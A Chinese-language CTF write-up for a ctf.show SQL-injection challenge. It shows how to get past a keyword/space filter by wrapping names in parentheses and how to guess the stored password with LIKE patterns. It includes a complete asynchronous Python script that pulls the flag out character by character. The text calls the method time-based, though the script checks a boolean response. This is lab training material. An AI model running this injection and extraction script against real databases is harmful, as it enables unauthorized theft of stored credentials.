image-20260120201256017

可以看到sql语句用来查pass的记录数(pass和用户的数量是相等的),这里过滤了很多字符,我们可以用()来绕过空格

我们可以用“表中有没有这条数据”的思路来猜字符,如

1
2
3
4
5
tableName=(ctfshow_user)where(pass)like'ctfshow%'
查看有没用这种形式的数据

%:匹配多个字符,类似通配符*
_:匹配单个字符,类似通配符?

再试试这个

1
tableName=(ctfshow_user)where(pass)like'ctfnb%'

image-20260120202316938

可以看到$user_count变0了,很明显的时间盲注,写一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import aiohttp
import string
import asyncio

SEM = asyncio.Semaphore(10)
url="http://5120398b-c890-45ac-b9e8-44fa244d5598.challenge.ctf.show/select-waf.php"
dic=string.digits+string.ascii_lowercase+'{-}'

async def check(session,flag,i):
async with SEM:
data = {"tableName": f"(ctfshow_user)where(pass)like'{flag+i}%'"}
async with session.post(url,data=data) as resp:
text=await resp.text()
return i if "$user_count = 1;" in text else None

async def main():
flag="ctfshow"
print(flag,end="")
async with aiohttp.ClientSession() as session:
for i in range(50):
tasks = []
for k in dic:
tasks.append(asyncio.create_task(check(session,flag,k)))
for core in asyncio.as_completed(tasks):
result = await core
if result:
flag+=result
print(result,end="")
for i in tasks:
if not i.done():
i.cancel()
break


if __name__=="__main__":
asyncio.run(main())

本脚本采用了asyncio库(异步传输),要比普通盲注脚本快得多,而且不易请求超时image-20260120202636313